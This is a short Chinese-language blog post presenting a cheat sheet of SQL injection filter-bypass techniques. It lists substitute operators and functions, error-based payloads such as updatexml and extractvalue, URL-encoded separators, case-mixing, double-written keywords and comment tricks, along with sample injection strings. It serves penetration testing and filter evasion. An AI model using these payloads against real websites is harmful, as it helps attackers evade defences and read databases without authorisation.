sql注入之bypass

2023.2.1 

Ps:bypass 更多的还是靠个人经验,以下只是个人经验分享,并不绝对和完整,还请在实战中积累属于自己的 bypass 体系

ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ

过滤符号

(等效替换)

可以尝试使用 示例 备注

=

<,>,<> ascii(substr(database(),1,1))>97
like database() like 'a%'
rlike,regexp database() rlike '^a' 正则写法与java一致
in mid(database(),1,1) in ('a','b','c') 是一个集合
between mid(database(),1,1) between 'a' and 'z' 'a' <= x <= 'z',是一个闭区间
截取函数 mid(),substr() mid(database(),1,1)='a'
left(),right() left(database(),1)='a'
locate() locate('a',database(),1)=1

通过定位来猜测字符的存在和位置

locate(str1,str2[,pos])

position(str1 in str2)

instr(str2,str1)

position() position('a' in database())=1
instr() instr(database(),'a')=1
lpad(),rpad() lpad(database(),5,'~') 用于字符串前后填充特定字符
substring_index() substring_index(database(),'~',1)
报错函数 updatexml() updatexml(1,concat('~',database(),'~'),1)
extractvalue() extractvalue(1,concat('~',database(),'~'))
gtid_subset() gtid_subset(database(),1)
exp() if(1=1,exp(709),exp(710)) 超过709会引发报错
, %2c mid(database()%2c1%2c1)='a'
from ... for ... mid(database() from for 1)='a'
from mid(database() from 1)
length() like database() like '_____'  用下划线的个数来猜测数据长度
and %26%26,&&,like ?id=1' like 1=1
or %7c%7c,|| ?id=1' %7c%7c 1=1
user()
current_user() system_user()
user_name() session_user()
select current_user()
database() schema() select schema()
关键字被过滤时 大小写绕过 mId(DAtAbASe(),1,1)='a'
双写绕过 mimidd(databdatabasease(),1,1)='a' 针对只过滤一次的情况
编码绕过 URLEncode,ASCII,HEX,unicode
穿插% mi%d(dat%aba%se(),1,1)='a'
注释符绕过 select /*!50000database()*/
// # /**/ /*!*/
-- -- - --+ -- a
%00 ;
and/or+空格被替换为空时 andand+空格

andand  1=1

你可能感兴趣的:(理论,sql,数据库)